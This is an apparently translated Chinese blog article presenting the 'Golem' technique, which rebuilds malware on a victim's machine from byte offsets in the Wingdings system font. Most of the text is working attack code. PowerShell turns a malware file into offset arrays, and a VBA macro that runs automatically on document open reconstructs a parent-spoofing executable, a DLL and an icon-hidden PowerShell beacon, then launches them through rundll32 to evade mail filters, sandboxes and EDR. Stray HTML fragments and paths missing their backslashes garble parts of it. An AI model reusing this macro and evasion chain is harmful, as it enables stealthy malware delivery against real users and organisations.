Golem:隱藏在系統字型中的惡意軟體
一、前言
現在攻擊者們經常使用“Living Off the Land”技術,也就是利用受害者環境中已安裝的合法程式來執行惡意操作。通過這種方法,攻擊者無需在攻擊載荷庫中額外新增其他軟體:所需的一切都已在受害者計算機中準備就緒。
然而在許多情況下,常見的攻擊過程通常會包含如下幾個步驟:
1、投遞包含載荷的檔案,這些載荷既可以是待執行的惡意程式碼,也可以是非惡意程式碼,載荷會在第三個階段下載惡意元件;
2、說服受害者執行攻擊載荷;
3、載荷隨後會執行如下操作:
- 利用受害者環境中自帶的應用來執行惡意元件;
- 下載惡意元件,然後利用受害者環境中自帶的應用來執行惡意元件。
二、目標
我希望能夠找到滿足如下條件的一種解決方案:
1、不包含內任意惡意程式碼(甚至是 ping-executables-with-powershell.html" rel="nofollow,noindex" target="_blank">惡意位元組 ),並且能夠繞過外圍防護(郵件過濾、沙盒等);
2、不會下載任何惡意程式碼;
3、能夠執行惡意程式碼。
三、利用字型自生成惡意軟體
首先,我們需要找到每個Windows作業系統上都存在的一個元件。一番搜尋後,我終於找到了如下目標:
我對比了各種Windows版本上的Windings字型,發現這個字型在這些系統上完全相同。
由於這個字型似乎是所有Windows計算機上的常見元件,因此我們有可能通過這個媒介實現我們的目標。如何做到這一點?具體步驟如下:
1、在我們的計算機上收集惡意軟體包含的位元組資訊;
2、將惡意軟體的首位元組與Wingdings字型比較;
3、一旦在該字型中找到同一個位元組,則將其位置記錄在一個文字檔案中;
4、重複此過程,直到我們找到惡意軟體中包含的所有位元組,並將這些位置資訊記錄到文字檔案中;
5、這樣我們的載荷將包含惡意軟體每個位元組在Wingdings字型中的位置;
6、在受害者主機上,攻擊載荷通過Wingdings字型中的位元組位置資訊重構惡意元件。
查詢字型中對應位元組的Shell/">PowerShell程式碼如下所示:
$Font = "C:WindowsFontswingding.ttf" $Malware = "C:UsersAdministratorPictures2.PNG" $fontArray = Get-Content $Font -Encoding Byte -ReadCount 0 $malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0 $offsetArray = @() foreach ($byteInMalware in $malwareArray){ $index = 0 foreach ($byteInFont in $fontArray) { if ($byteInMalware -eq $byteInFont) { $offsetArray += $index break } $index++ } }
如上PowerShell程式碼會生成VBA程式碼,我們可以將VBA程式碼插入巨集中。如下程式碼則會生成一個位元組陣列,陣列中包含用來重構惡意元件的每個位元組的位置資訊:
$i=0 $payload = "" $j=0 $u=1 $payDef = "" foreach($offset in $offsetArray){ if($i -eq 30) { $payload = $payload + ", " + $offset + " _`r`n" $i=0 $j++ } else { if($i -eq 0) { $payload = $payload + $offset } else { $payload = $payload + ", " + $offset } } if($j -eq 25){ $payDef = $payDef + "`r`nFunction ccc$u() tt$u = Array($payload) ccc$u = tt$u End Function" $payload = "" $u++ $j = 0 } $i++ } if($payload -ne ""){ $payDef = $payDef + "`r`nFunction ccc$u() tt$u = Array($payload) ccc$u = tt$u End Function" } $payDef
執行結果如下:
如下VBA程式碼可以根據我們提供的位元組陣列資訊重構惡意元件(然而程式碼寫得並不是特別好),然後選擇Explorer.exe作為Rundll32.exe的父程序(加大EDR產品的分析難度),接著使用Rundll32.exe來執行惡意元件(一個.DLL檔案,可以用來執行隱藏在.ICO資源中的PowerShell惡意程式碼)。我們可以修改這個過程,通過注入程序記憶體空間避免檔案落盤。後續工作留待大家來完成。
VBA程式碼如下:
[...] --> you array of bytes containing the position of necessary bytes in the Windings font. 'example to join the bytes for the fist malicious component t1 = cc1 t2 = cc2 t3 = cc3 t4 = cc4 t5 = cc5 t6 = cc6 t7 = cc7 t8 = cc8 t9 = cc9 t10 = cc10 t11 = cc11 t12 = cc12 t13 = cc13 t14 = cc14 t15 = cc15 t16 = cc16 t17 = cc17 t18 = cc18 ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _ & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",") [...] Dim nb As Integer Dim nb2 As Integer nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array nb2 = UBound(tt) - LBound(tt) + 1 nb3 = UBound(ttttttt) - LBound(ttttttt) + 1 Dim intFileNumber As Integer Dim i As Integer Dim j As Integer Dim lngFileSize As Long Dim lngFileSize2 As Long Dim strBuffer As String Dim strBuffer2 As String Dim lngCharNumber As Long Dim lngCharNumber2 As Long Dim strCharacter As String * 1 Dim strCharacter2 As String * 1 Dim strFileName As String Dim strFileName2 As String Dim offset() As Variant strFileName = "C:\Windows\Fonts\wingding.ttf" intFileNumber = FreeFile Open strFileName For Binary Access Read Shared As #intFileNumber lngFileSize = LOF(intFileNumber) strBuffer = Space$(lngFileSize) Get #intFileNumber, , strBuffer Close #intFileNumber Dim nFileNum As Long Dim sFilename As String Dim ind As Long sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32 sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO nFileNum = FreeFile ' a loop would be better ;-) Open sFilename2 For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb - 1 ind = lngCharNumber + 1 off = ttt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum nFileNum = FreeFile Open sFilename For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb2 - 1 ind = lngCharNumber + 1 off = tt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum nFileNum = FreeFile Open sFilename3 For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb3 - 1 ind = lngCharNumber + 1 off = ttttttt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum rr End Sub Sub rr() Dim xx As String Dim oihfasf As Object, eopuf As Object, kdj As Object Dim oDic As Object, a() As Variant Dim pskaf As Integer Set oDic = CreateObject("Scripting.Dictionary") xx = "." Set oihfasf = GetObject("winmgmts:\\" _ & xx & "\root\CIMV2") Set eopuf = oihfasf.ExecQuery _ ("Select Name, ProcessID FROM Win32_Process", , 48) For Each kdj In eopuf If (kdj.Properties_("Name").Value) = "explorer.exe" Then pskaf = (kdj.Properties_("ProcessID").Value) End If Next Dim t As Date Dim cnt As Long Dim arr(2) As Byte Dim xl As String xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "." Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2") Set os = ow.Get("Win32_ProcessStartup") Set oc = os.SpawnInstance_ Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process") op.Create xl, Null, oc, aslh End Sub Sub AutoOpen() cc End Sub Sub Workbook_Open() cc End Sub
這個過程就是這麼簡單。